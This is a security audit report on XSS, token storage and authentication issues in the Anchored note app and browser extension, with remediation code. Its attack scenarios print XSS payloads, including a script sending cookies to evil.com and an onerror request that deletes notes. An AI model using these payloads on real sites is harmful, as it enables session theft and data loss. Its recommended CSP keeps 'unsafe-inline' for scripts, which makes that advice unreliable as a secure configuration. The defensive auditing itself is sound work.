Security Audit Report - Anchored Web Application & Extension

Executive Summary

This security audit identifies critical vulnerabilities and provides recommendations for improving the security posture of both the Anchored web application and browser extension. The audit focuses on XSS prevention, token security, mobile security, and authentication architecture.

Critical Security Issues Identified

1. XSS Vulnerabilities (HIGH RISK)

Web Application XSS Issues

Location: js/dashboard.js, multiple innerHTML usages Risk Level: HIGH Issue: Direct innerHTML assignments with user-controlled content without proper sanitization

Vulnerable Code Examples:

// Line 822 - Note card creation with user content
card.innerHTML = `
  <div class="note-card-content">
    <div class="note-card-title">${this.escapeHtml(note.title)}</div>
    <div class="note-card-preview">${this.escapeHtml(note.preview)}</div>

Current Protection: Basic escapeHtml() function exists but inconsistent usage Vulnerability: Rich content areas use buildContentHtml() which may allow HTML injection

Extension XSS Issues

Location: extension/popup/modules/editor.js, extension/popup/modules/notes.js Risk Level: HIGH Issue: innerHTML usage with note content that could contain malicious scripts

Vulnerable Code Examples:

// editor.js line 65 - Direct HTML injection
contentInput.innerHTML = this.buildContentHtml(this.currentNote.content || '');

// notes.js line 284 - Note rendering with potential XSS
el.innerHTML = `<div class="note-content">...${note content}...</div>`;

2. Refresh Token Security (MEDIUM RISK)

Current Implementation Issues

Location: Web app localStorage, Extension chrome.storage.local Risk Level: MEDIUM Issue: Refresh tokens stored in accessible browser storage without additional protection

Current Storage:

Vulnerabilities:

3. Authentication Architecture Issues (MEDIUM RISK)

Google OAuth Complexity

Location: Multiple auth flows in both platforms Risk Level: MEDIUM
Issue: Unnecessary complexity maintaining both Google OAuth and Supabase refresh tokens

Current Flow:

  1. User authenticates via Google OAuth
  2. Supabase receives Google tokens
  3. Supabase issues its own access/refresh tokens
  4. Application stores both token sets

Problems:

4. Mobile Security Concerns (MEDIUM RISK)

Token Storage on Mobile

Current: Web app uses localStorage on mobile browsers Risk Level: MEDIUM Issue: Mobile browsers have different security models and storage persistence

iOS/Android Considerations:

Detailed Vulnerability Analysis

XSS Attack Vectors

1. Note Content Injection

Attack Scenario: Malicious user creates note with JavaScript payload

<img src="x" onerror="alert('XSS')">
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

Impact:

2. Rich Text Editor Exploitation

Attack Scenario: Paste malicious HTML into contenteditable areas

<div contenteditable="true">
  <!-- User pastes: -->
  <img src="x" onerror="fetch('/api/notes', {method:'DELETE'})">
</div>

Impact:

Token Security Analysis

Current Refresh Token Flow

1. User authenticates → Supabase issues tokens
2. Access token (1 hour) + Refresh token (30 days)
3. Tokens stored in browser storage
4. Auto-refresh when access token expires

Vulnerabilities:

Security Recommendations

1. Implement Comprehensive XSS Prevention

Content Security Policy (CSP)

<meta http-equiv="Content-Security-Policy" content="
  default-src 'self';
  script-src 'self' 'unsafe-inline' https://accounts.google.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://kqjcorjjvunmyrnzvqgr.supabase.co;
  frame-src https://accounts.google.com;
">

Input Sanitization Library

Replace custom escapeHtml() with DOMPurify:

// Install: npm install dompurify
import DOMPurify from 'dompurify';

// Sanitize all user content
const cleanContent = DOMPurify.sanitize(userContent, {
  ALLOWED_TAGS: ['b', 'i', 'u', 'strong', 'em', 'br', 'p'],
  ALLOWED_ATTR: []
});

Safe DOM Manipulation

Replace innerHTML with safer alternatives:

// Instead of: element.innerHTML = userContent
// Use: 
element.textContent = userContent; // For plain text
// Or:
const sanitized = DOMPurify.sanitize(userContent);
element.innerHTML = sanitized; // For rich content

2. Enhanced Token Security

Secure Token Storage

Web Application:

// Use secure, httpOnly cookies where possible
// For client-side storage, add encryption layer
class SecureStorage {
  async setToken(token) {
    const encrypted = await this.encrypt(token);
    localStorage.setItem('secure_token', encrypted);
  }
  
  async getToken() {
    const encrypted = localStorage.getItem('secure_token');
    return encrypted ? await this.decrypt(encrypted) : null;
  }
}

Extension:

// Use chrome.storage.local with additional encryption
await chrome.storage.local.set({
  encrypted_session: await encryptSession(sessionData)
});

Token Rotation Strategy

// Implement shorter refresh token lifetime
const SESSION_CONFIG = {
  accessTokenLifetime: 15 * 60 * 1000,    // 15 minutes
  refreshTokenLifetime: 7 * 24 * 60 * 60 * 1000, // 7 days
  rotateRefreshToken: true // Issue new refresh token on each use
};

3. Simplified Authentication Architecture

1. User authenticates via Google OAuth
2. Supabase receives Google tokens
3. Application uses ONLY Supabase tokens
4. Discard Google tokens after initial auth
5. Use Supabase refresh mechanism exclusively

Benefits:

4. Mobile Security Enhancements

Progressive Web App (PWA) Security

// Service worker for secure token management
self.addEventListener('message', async (event) => {
  if (event.data.type === 'STORE_TOKEN') {
    // Store in IndexedDB with encryption
    await secureStore.setItem('auth_token', event.data.token);
  }
});

Device Binding

// Generate device fingerprint for token binding
const deviceFingerprint = await generateFingerprint();
const boundToken = {
  token: refreshToken,
  deviceId: deviceFingerprint,
  timestamp: Date.now()
};

Implementation Priority

Phase 1: Critical XSS Fixes (Immediate)

  1. Implement DOMPurify sanitization
  2. Add Content Security Policy headers
  3. Audit all innerHTML usage
  4. Replace with safe DOM manipulation

Phase 2: Token Security (1-2 weeks)

  1. Implement token encryption for storage
  2. Reduce refresh token lifetime
  3. Add token rotation mechanism
  4. Implement device binding

Phase 3: Architecture Simplification (2-4 weeks)

  1. Simplify to Supabase-only tokens
  2. Remove Google token management complexity
  3. Standardize session handling across platforms
  4. Implement comprehensive session monitoring

Phase 4: Mobile Enhancements (4-6 weeks)

  1. Implement PWA security features
  2. Add secure storage mechanisms
  3. Implement device fingerprinting
  4. Add session persistence strategies

Testing and Validation

Security Testing Checklist

Automated Security Scanning

Conclusion

The Anchored application has several critical security vulnerabilities that require immediate attention, particularly around XSS prevention and token security. The recommended phased approach will significantly improve the security posture while maintaining functionality and user experience.

Priority should be given to XSS prevention as it poses the highest immediate risk to user data and account security.